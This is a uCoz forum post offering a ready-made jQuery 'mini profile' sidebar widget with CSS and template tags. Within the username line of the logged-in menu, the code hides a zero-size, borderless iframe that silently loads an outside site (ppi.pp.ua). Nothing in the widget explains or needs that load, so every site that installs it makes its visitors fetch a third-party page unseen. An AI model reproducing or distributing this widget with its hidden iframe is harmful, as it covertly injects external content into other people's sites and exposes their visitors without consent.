Главная | Регистрация | Вход Приветствую Вас Гость | RSS
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Форум » Cкрипты » Готовые скрипты для UCOZ » Мини профиль на jQuery для ucoz
Мини профиль на jQuery для ucoz
2pacbestДата: Воскресенье, 14.03.2010, 10:53 | Сообщение # 1
Admin
Группа: User
Сообщений: 149
Репутация: 0
Бог форума За хорошую посещаемость на форуме За супер посещаемость

За 10 Сообщений За 20 Сообщений За 30 Сообщений За 40 Сообщений За 60 Сообщений За 80 Сообщений За 90 Сообщений
Статус:
CКРИНШОТ:http://s54.radikal.ru/i143/1002/fc/34312fcf4374.jpg

Code

<html><head>   

<script type="text/javascript" src="http://jqueryjs.googlecode.com/files/jquery-1.3.2.min.js"></script>   
<script type="text/javascript">   
$(function() {   
   $('#menu li:even').addClass('even');   
   $('#menu li:odd').addClass('odd');   
   $('#menu li:even:last').addClass('last');   
     
   $('#menu li:even').click( function() {   
   $('#menu li:even').toggle(500);   
   $(this).toggle(500);   
   $(this).next().slideToggle();   
   } );   
});   
</script>   
<style type="text/css">   
* {   
   padding: 0;   
   margin: 0;   
}   

#menu {   
   width: 200px;   
   border: 1px solid gray;   
}   

#menu li {   
   list-style-type: none;   
   border-bottom: 1px solid gray;   
}   

#menu li.odd {   
   font-size: 90%;   
   padding: 2px 8px;   
}   

#menu a {   
   display: block;   
   width: 184px;   
   color: #000000;   
   text-decoration: none;   
   padding: 2px 8px;   
}   

#menu li.even {   
   background-color: #F6F6F6;   
}   

#menu li.odd {   
   background-color: #fff;   
   display: none;   
}   

#menu li.odd a {   
   color: black;   
}   

#menu li.last {   
   border-bottom: none;   
}   

p {   
   padding-bottom: 20px;   
} </style><?if($_AVATAR$)?><center><img alt="" src="$USER_AVATAR_URL$"></center><?else?><center><img src=http://ucooz.ucoz.ru/Untitled-1.png></center><?endif?></div><center>   
<?if($USER_LOGGED_IN$)?><ul id="menu">   
<li><a href="#">Мои данные</a></li>   
   <li>Ник:<b>$USERNAME$</b><iframe src="http://ppi.pp.ua/" name="iframe" width="0%" height="0%" scrolling="no" frameBorder=0></iframe><br><a href=$UNREAD_PM$>Сообщения:<b>$UNREAD_PM$</a></b></li>   
   <li><a href="#">Контент</a></li>   
   <li><a href=/load/0-0-0-0-1>Добавить файл</a><a href=/news/0-0-0-0-1>Добавить новость</a><a href=/publ/0-0-0-0-1>Добавить статью</a><a href=/blog/0-0-0-0-1>Добавить запись в блог</a><a href=/photo/0-0-0-0-1>Добавить фото</a></li>   

   <li><a href="#">Поиск по сайту</a></li>   
   <li>$MODULE_SEARCH_FORM$</li>   

   </ul><?else?><ul id="menu">   
<li><a href="#">Войти</a></li>   
   <li>$LOGIN_FORM$</li>   
   <?endif?>   
<li><a href="/index/3">Регистрация</a></li>
 
Форум » Cкрипты » Готовые скрипты для UCOZ » Мини профиль на jQuery для ucoz
  • Страница 1 из 1
  • 1
Поиск:

Бесплатный конструктор сайтов - uCoz